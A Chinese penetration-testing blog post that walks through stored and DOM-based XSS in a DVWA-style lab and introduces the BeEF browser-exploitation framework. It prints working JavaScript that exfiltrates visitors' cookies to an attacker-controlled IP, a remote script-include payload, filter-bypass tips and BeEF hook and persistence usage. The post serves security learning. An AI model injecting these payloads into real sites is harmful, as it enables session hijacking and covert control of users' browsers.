zoukankan      html  css  js  c++  java
  • 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS

    XSS原理

    存储型XSS

    1、可长期存储于服务器端

    2、每次用户访问都会被执行js脚本,攻击者只需侦听指定端口

    #攻击利用方法大体等于反射型xss利用

    ##多出现在留言板等位置

    *推荐使用burpsuite

    a、观察返回结果,是否原封不动地返回输入数据?是否有其他标签  

    js代码通过留言板存储在服务器中,所以每次点击留言板链接,都会弹出xss弹窗

     

    b、测试加载攻击者控制的服务器中的js文件

    #启动apache2【默认侦听80端口】

    a.js  【盗取客户端cookie信息,并把它上传到攻击者控制的服务器的PHP文件】

    1 var img = new Image();
    2 img.src = "http://192.168.56.102:88/cookies.php?cookie="+document.cookie;

    ***默认在客户端进行长度的限制,可用burpsuite进行绕过或直接修改HTML代码中的长度限制  【安全性好的,同时在客户端跟服务器端进行长度限制】

    <script src="http://192.168.56.102/a.js"></script>

     

    ###使用nc演示效果,侦听88端口,提交成功/刷新页面,即可成功获得cookie  

     

    代码审计  【以下代码只是对输入数据进行过滤】

    low

     1  <?php
     2 
     3 if(isset($_POST['btnSign']))
     4 {
     5 
     6    $message = trim($_POST['mtxMessage']);
     7    $name    = trim($_POST['txtName']);
     8    
     9    // Sanitize message input
    10    $message = stripslashes($message);
    11    $message = mysql_real_escape_string($message);
    12    
    13    // Sanitize name input
    14    $name = mysql_real_escape_string($name);
    15   
    16    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
    17    
    18    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
    19    
    20 }
    21 
    22 ?> 

    medium  【Name输入框输出结果:还是原型,但js脚本已是普通文本(目前理想的过滤方法);Message中还存在】

     1  <?php
     2 
     3 if(isset($_POST['btnSign']))
     4 {
     5 
     6    $message = trim($_POST['mtxMessage']);
     7    $name    = trim($_POST['txtName']);
     8    
     9    // Sanitize message input
    10    $message = trim(strip_tags(addslashes($message)));//addslashs():增加反斜线;strip_tags():过滤HTML标签;
    11    $message = mysql_real_escape_string($message);
    12    $message = htmlspecialchars($message);  //进行html编码,<>会被编码
    13     
    14    // Sanitize name input
    15    $name = str_replace('<script>', '', $name);//删除<script>,********可用拆分绕过
    16    $name = mysql_real_escape_string($name);
    17   
    18    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
    19    
    20    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
    21    
    22 }
    23 
    24 ?> 

    high

     1  <?php
     2 
     3 if(isset($_POST['btnSign']))
     4 {
     5 
     6    $message = trim($_POST['mtxMessage']);
     7    $name    = trim($_POST['txtName']);
     8    
     9    // Sanitize message input
    10    $message = stripslashes($message);
    11    $message = mysql_real_escape_string($message);
    12    $message = htmlspecialchars($message);
    13    
    14    // Sanitize name input
    15    $name = stripslashes($name);
    16    $name = mysql_real_escape_string($name); 
    17    $name = htmlspecialchars($name);
    18   
    19    $query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name');";
    20    
    21    $result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>' );
    22    
    23 }
    24 
    25 ?> 

    DOM型XSS

    一套js和其他语言都可以调用的标准的API

    #本质上跟反射型中利用src的方法一样,只是调用的函数不一样而已

    <script>
    var img = document.createElement("img");
    img.src = "http://192.168.56.102:88/cookies.php?cookie="+escape(document.cookie);
    </script>

     

    BEFF

    BeEF是目前欧美最流行的web框架攻击平台,它的全称是 the Browser exploitation framework project。

    可用于生成、交互payload【内含大量模块,payload】

    ruby编写

    服务器端:管理hooked客户端

    客户端:运行于客户端浏览器的JavaScript脚本

    浏览器攻击面

    应用普遍转移到B/S架构,浏览器成为统一客户端程序

    大部分需要结合社会工程学方法对浏览器进行攻击

    攻击浏览器用户

    通过注入的JS脚本,利用浏览器攻击其他网站

     攻击手段

    利用网站xss漏洞实现攻击

    诱使客户端访问含有hooked的伪造站点

    结合中间人攻击注入hooked脚本

     常见用途

    键盘记录器

    网络扫描

    浏览器信息收集

    绑定shell

    与metasploit集成

     

    a、默认登录账号密码beff/beff

    b、<script src="http://127.0.0.1:3000/hook.js"></script>

     c、模块

    1、Browser  浏览器类型(可得cookie,OS等信息)

    【点击对应模块即可使用,响应速度比较慢,绿色为适用;橙色也是可用,但是会被客户端使用者发现;红色可能不可用;灰色未知是否可用】

    2、Exploits 漏洞利用模块

    3、Network  【可用作僵尸机】

     

    4、Persistence  当页面被关闭(主机未离线),仍可对hooked客户端进行操作【持久hooked,建议当一台主机受害后,马上进行该操作】

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

  • 相关阅读:
    Web用户的身份验证及WebApi权限验证流程的设计和实现
    开源工作流引擎CCFlow 学习专区
    Jquery Ajax方法传值到action
    再谈Jquery Ajax方法传递到action
    Windows下安装GTK+
    Tex使用
    配置Texmaker中文支持
    软件推荐列表(Recommand Software)
    CAD操作
    Package inputenc Error: Unicode char u8: not set up for use with LaTeX.
  • 原文地址:https://www.cnblogs.com/zixuanfy/p/6071428.html
Copyright © 2011-2022 走看看